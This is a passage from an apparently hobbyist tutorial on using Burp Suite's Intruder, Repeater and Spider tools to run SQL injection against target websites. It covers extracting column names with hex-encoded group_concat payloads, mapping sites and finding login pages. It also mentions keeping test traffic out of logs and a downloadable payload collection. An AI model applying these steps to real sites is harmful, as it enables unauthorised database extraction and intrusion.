OK, so now we have basic info, DBS, TABLES, we can keep going and modify slightly to get the columns. We go back to the Intruder tab and reconfigure to get columns from known tables. You will need to remember to HEX again, so go ahead and use the DECODER again –that is what it is there for! This time we need to add another attack vector to our request so we can insert our group_concat(column_name), then insert the from statement, and then we will use position 3 for inserting our table names. If you want you could add an additional position 4 to add in the needed syntax to pull tables from non-active DB (refer to some of my other basic SQL tutorials if you need help in locating syntax).

Now you have all you need to extract. You can keep altering the payloads to handle this for you if you are working with a vulnerability or exploit that is rinse wash and repeat, however if the targets do not have the same content then this may be the time to switch back to the REPEATER to manually apply the found content to extract what you want. Just alter the syntax to fit just like it was normal SQLi and then hit GO and parse the rendered results for your pirate treasure. 

OK so now you have successfully used Burp Suite to find vulnerability and exploit it. If you need to map out the site to perhaps find login pages there is one last tool in the set that can help, and that is the SPIDER tool. It is application-aware meaning it will pick up on any links passed through the proxy during tests. You can also activate it by customizing the option settings for it and letting it loose on target site. It is pretty good even with default settings. You just find your target in the SITE MAP list on left hand side under the SPIDER. Right click your target site and tell it to “spider host” and it will do its thing. If it comes across any forms it will set off the RED alert box as you need to tell the tool to either submit forms or ignore them (you can configure custom settings for this to be handled under options - just remember that what you put is what shows up in logs so if your trying to be professional you might want to change it ;).

Once it is done you can use tree view to see the site infrastructure according to the spider tool:

You could alternatively use a request to the web root and then enumerate a list file of known login pages/directories and judge repsonses to see if it is present. I will end the tutorial here or I could keep going for ever and ever with all the cool features that are built in, but you should have the basic idea now. I have included a link below to a download which contains all of the content and text files referenced (and some more for other projects I am working on). I have put this together for my own personal testing with Burp Suite, and you are free to download and use as well. If you have any additions please let me know as this is a constant work in process for me, with most of it built on top of the FuzzDB project which I used as a base for figuring this out combined with plain old experience gathered through trial and error over time. I will try to work on some additional follow up tutorials for some other common tasks that can be performed with Burp Suite like Authentication Bypassing via SQL, POST injections, XSS, Uploading Shells, and whatever else I can come up with. Part II to come in next few weeks. If you need more in the meantime you can check the Burp Suite site and community forums for help.